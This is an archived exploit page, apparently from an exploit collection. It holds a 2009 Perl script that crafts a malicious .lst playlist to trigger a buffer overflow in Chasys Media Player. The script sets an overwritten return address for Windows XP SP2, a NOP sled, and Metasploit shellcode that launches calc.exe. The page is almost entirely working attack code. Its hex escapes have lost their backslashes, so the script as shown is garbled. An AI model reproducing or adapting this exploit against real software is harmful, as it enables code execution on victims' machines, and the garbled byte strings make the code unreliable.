Chasys Media Player (.lst playlist) Local Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Chasys Media Player (.lst playlist) Local Buffer Overflow Exploit
# Published : 2009-03-19
# Author : zAx
# Previous Title : VUPlayer 2.49 .ASX File (HREF) Universal Buffer Overflow Exploit
# Next Title : CDex 1.70b2 (.ogg) Local Buffer Overflow Exploit (xp/ sp3)

#!/usr/bin/perl
# --------------------------------------------------------------
# Chasys Media Player (.lst playlist) Local Buffer Overflow Exploit
# Discovered and Exploited By : zAx
# Thanks to all my friends !
# --------------------------------------------------------------
my $header = "x5Bx70x6Cx61x79x6Cx69x73x74x5Dx0Ax46x69x6Cx65x31x3D";
my $junk = "x41" x 260;
my $eip = "x5Dx38x82x7C"; # Windows XP SP2 English ..
my $nopsleds = "x90" x 19; # I Love you
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com/
my $sc =
"x31xc9x83xe9xddxd9xeexd9x74x24xf4x5bx81x73x13x34".
"x92x42x83x83xebxfcxe2xf4xc8x7ax06x83x34x92xc9xc6".
"x08x19x3ex86x4cx93xadx08x7bx8axc9xdcx14x93xa9xca".
"xbfxa6xc9x82xdaxa3x82x1ax98x16x82xf7x33x53x88x8e".
"x35x50xa9x77x0fxc6x66x87x41x77xc9xdcx10x93xa9xe5".
"xbfx9ex09x08x6bx8ex43x68xbfx8exc9x82xdfx1bx1exa7".
"x30x51x73x43x50x19x02xb3xb1x52x3ax8fxbfxd2x4ex08".
"x44x8exefx08x5cx9axa9x8axbfx12xf2x83x34x92xc9xeb".
"x08xcdx73x75x54xc4xcbx7bxb7x52x39xd3x5cx62xc8x87".
"x6bxfaxdax7dxbex9cx15x7cxd3xf1x23xefx57xbcx27xfb".
"x51x92x42x83";
my $exploit = $header.$junk.$eip.$nopsleds.$sc;
$file = "zAx.lst";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;
close($FILE);
print "Done n";

# www.Syue.com [2009-03-19]